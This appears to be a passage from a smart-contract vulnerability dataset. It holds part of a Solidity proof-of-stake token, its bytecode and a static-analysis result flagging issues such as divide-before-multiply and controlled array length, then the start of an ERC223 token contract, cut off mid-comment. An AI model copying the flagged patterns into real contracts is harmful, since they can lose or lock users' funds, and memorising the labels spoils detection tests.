maxTotalSupply = 10**26; // 100 Bil.
totalInitialSupply = 3*10**25; // 10 Mil.
chainStartTime = now;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
if(msg.sender == _to) return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function mint() canPoSMint returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
Mint(msg.sender, reward);
return true;
}
function getBlockNumber() returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() constant returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function annualInterest() constant returns(uint interest) {
uint _now = now;
interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
}
function getProofOfStakeReward(address _address) internal returns (uint) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
// Due to the high interest rate for the first two years, compounding should be taken into account.
// Effective annual interest rate = (1 + (nominal rate / number of compounding periods)) ^ (number of compounding periods) - 1
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
// 1st year effective annual interest rate is 100% when we select the stakeMaxAge (30 days) as the compounding period.
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
// 2nd year effective annual interest rate is 50%
interest = (435 * maxMintProofOfStake).div(100);
}
return (_coinAge * interest).div(365 * (10**decimals));
}
function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function ownerSetStakeStartTime(uint timestamp) onlyOwner {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalInitialSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
Burn(msg.sender, _value);
}
/* Batch token transfer. Used by contract creator to distribute initial tokens to holders */
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return true;
}
} | 0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610159578063095ea7b3146101e95780631249c58b1461024e57806318160ddd1461027d5780631e1b13c0146102a857806323b872dd146102d35780632a9edf6f146103585780632ab4d05214610385578063313ce567146103b057806342cbb15c146103db5780635b054f9b1461040657806370a08231146104315780637419f1901461048857806388d695b2146104b35780638da5cb5b1461057457806390762a8b146105cb57806395d89b41146105f85780639fd4da4014610688578063a9059cbb146106b3578063b2552fc414610718578063cbd8877e14610743578063cd474b041461076e578063dd62ed3e14610799578063e1c3bac614610810578063f2bb5ce11461083b578063f2fde38b14610866575b600080fd5b34801561016557600080fd5b5061016e6108a9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ae578082015181840152602081019050610193565b50505050905090810190601f1680156101db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610947565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b50610263610ace565b604051808215151515815260200191505060405180910390f35b34801561028957600080fd5b50610292610e41565b6040518082815260200191505060405180910390f35b3480156102b457600080fd5b506102bd610e47565b6040518082815260200191505060405180910390f35b3480156102df57600080fd5b5061033e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e58565b604051808215151515815260200191505060405180910390f35b34801561036457600080fd5b5061038360048036038101908080359060200190929190505050611449565b005b34801561039157600080fd5b5061039a6114cf565b6040518082815260200191505060405180910390f35b3480156103bc57600080fd5b506103c56114d5565b6040518082815260200191505060405180910390f35b3480156103e757600080fd5b506103f06114db565b6040518082815260200191505060405180910390f35b34801561041257600080fd5b5061041b6114f7565b6040518082815260200191505060405180910390f35b34801561043d57600080fd5b50610472600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114fd565b6040518082815260200191505060405180910390f35b34801561049457600080fd5b5061049d611546565b6040518082815260200191505060405180910390f35b3480156104bf57600080fd5b5061055a600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061154c565b604051808215151515815260200191505060405180910390f35b34801561058057600080fd5b50610589611bf1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105d757600080fd5b506105f660048036038101908080359060200190929190505050611c17565b005b34801561060457600080fd5b5061060d611f4e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064d578082015181840152602081019050610632565b50505050905090810190601f16801561067a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069457600080fd5b5061069d611fec565b6040518082815260200191505060405180910390f35b3480156106bf57600080fd5b506106fe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ff2565b604051808215151515815260200191505060405180910390f35b34801561072457600080fd5b5061072d6124d5565b6040518082815260200191505060405180910390f35b34801561074f57600080fd5b50610758612589565b6040518082815260200191505060405180910390f35b34801561077a57600080fd5b5061078361258f565b6040518082815260200191505060405180910390f35b3480156107a557600080fd5b506107fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612595565b6040518082815260200191505060405180910390f35b34801561081c57600080fd5b5061082561261c565b6040518082815260200191505060405180910390f35b34801561084757600080fd5b50610850612622565b6040518082815260200191505060405180910390f35b34801561087257600080fd5b506108a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612628565b005b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561093f5780601f106109145761010080835404028352916020019161093f565b820191906000526020600020905b81548152906001019060200180831161092257829003601f168201915b505050505081565b6000808214806109d357506000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156109de57600080fd5b81601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600f54600e54101515610ae357600080fd5b6000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610b355760009150610e3d565b6000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050111515610b8a5760009150610e3d565b610b9333612704565b9050600081111515610ba85760009150610e3d565b610bbd81600e5461281e90919063ffffffff16565b600e81905550610c1581601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ca39190612b16565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050503373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a2600191505b5090565b600e5481565b6000610e53334261283c565b905090565b6000806000606060048101600036905010151515610e7557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151515610eb157600080fd5b601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250610f8285601160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101785601160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b601160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061106d8584612ae290919063ffffffff16565b601260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a36000601360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011156111e957601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111e89190612b16565b5b429150601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280876fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050600193505050509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114a557600080fd5b6000600a54111580156114ba57506008548110155b15156114c557600080fd5b80600a8190555050565b600f5481565b60075481565b60006114f260095443612ae290919063ffffffff16565b905090565b60085481565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b6000806000806000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115b057600080fd5b600087511180156115c2575085518751145b15156115cd57600080fd5b60009350600092505b85518310156116185761160986848151811015156115f057fe5b906020019060200201518561281e90919063ffffffff16565b935082806001019350506115d6565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054841115151561166657600080fd5b429150600090505b8651811015611927576116f7868281518110151561168857fe5b90602001906020020151601160008a858151811015156116a457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b60116000898481518110151561170957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060136000888381518110151561176357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020604080519081016040528088848151811015156117c057fe5b906020019060200201516fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050868181518110151561189557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef88848151811015156118fb57fe5b906020019060200201516040518082815260200191505060405180910390a3808060010191505061166e565b61197984601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115611a5357601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611a529190612b16565b5b6000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611be357601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050505b600194505050505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c7357600080fd5b600081111515611c8257600080fd5b611cd481601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611d629190612b16565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050611ebe81600e54612ae290919063ffffffff16565b600e81905550611ed981601054612ae290919063ffffffff16565b601081905550611ef7600a8202600f54612ae290919063ffffffff16565b600f819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a250565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611fe45780601f10611fb957610100808354040283529160200191611fe4565b820191906000526020600020905b815481529060010190602001808311611fc757829003601f168201915b505050505081565b60105481565b60008060406004810160003690501015151561200d57600080fd5b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561205057612049610ace565b92506124cd565b6120a284601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae290919063ffffffff16565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213784601160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281e90919063ffffffff16565b601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36000601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050111561227657601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006122759190612b16565b5b429150601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280866fffffffffffffffffffffffffffffffff1681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050600192505b505092915050565b600080429050600d549150600061250d6301e133806124ff600a5485612ae290919063ffffffff16565b612afb90919063ffffffff16565b14156125345761252d6064600d5461030202612afb90919063ffffffff16565b9150612585565b60016125616301e13380612553600a5485612ae290919063ffffffff16565b612afb90919063ffffffff16565b1415612584576125816064600d546101b302612afb90919063ffffffff16565b91505b5b5090565b600b5481565b60095481565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600d5481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561268457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156126c057600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600080600a54421015801561271e57506000600a54115b151561272957600080fd5b429250612736858461283c565b915060008211151561274b5760009350612816565b600d549050600061277d6301e1338061276f600a5487612ae290919063ffffffff16565b612afb90919063ffffffff16565b14156127a45761279d6064600d5461030202612afb90919063ffffffff16565b90506127f5565b60016127d16301e133806127c3600a5487612ae290919063ffffffff16565b612afb90919063ffffffff16565b14156127f4576127f16064600d546101b302612afb90919063ffffffff16565b90505b5b612813600754600a0a61016d02828402612afb90919063ffffffff16565b93505b505050919050565b600080828401905083811015151561283257fe5b8091505092915050565b600080600080601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115156128955760009250612ada565b600091505b601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050821015612ad957612970600b54601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561293657fe5b9060005260206000200160000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1661281e90919063ffffffff16565b84101561297c57612acc565b612a06601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156129cb57fe5b9060005260206000200160000160109054906101000a900467ffffffffffffffff1667ffffffffffffffff1685612ae290919063ffffffff16565b9050600c54811115612a1857600c5490505b612ac9612a316201518083612afb90919063ffffffff16565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481101515612a7d57fe5b9060005260206000200160000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16028461281e90919063ffffffff16565b92505b818060010192505061289a565b5b505092915050565b6000828211151515612af057fe5b818303905092915050565b6000808284811515612b0957fe5b0490508091505092915050565b5080546000825590600052602060002090810190612b349190612b37565b50565b612b9191905b80821115612b8d57600080820160006101000a8154906fffffffffffffffffffffffffffffffff02191690556000820160106101000a81549067ffffffffffffffff021916905550600101612b3d565b5090565b905600a165627a7a72305820fca2aeb64e6a4c9d09fe818bfa1f31998043621193b53866fd2961c054d819900029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 10,101 |
0xaB962B6BDC0A0A15a0CCE88294F7e1C011f28dbe | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
// ERC223 functions and events
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/**
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title NAMINORI
* @author NAMINORI
* @dev NAMINORI is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract NAMINORI is ERC223, Ownable {
using SafeMath for uint256;
string public name = "NAMINORI";
string public symbol = "NAMI";
uint8 public decimals = 8;
uint256 public initialSupply = 30e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function NAMINORI() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
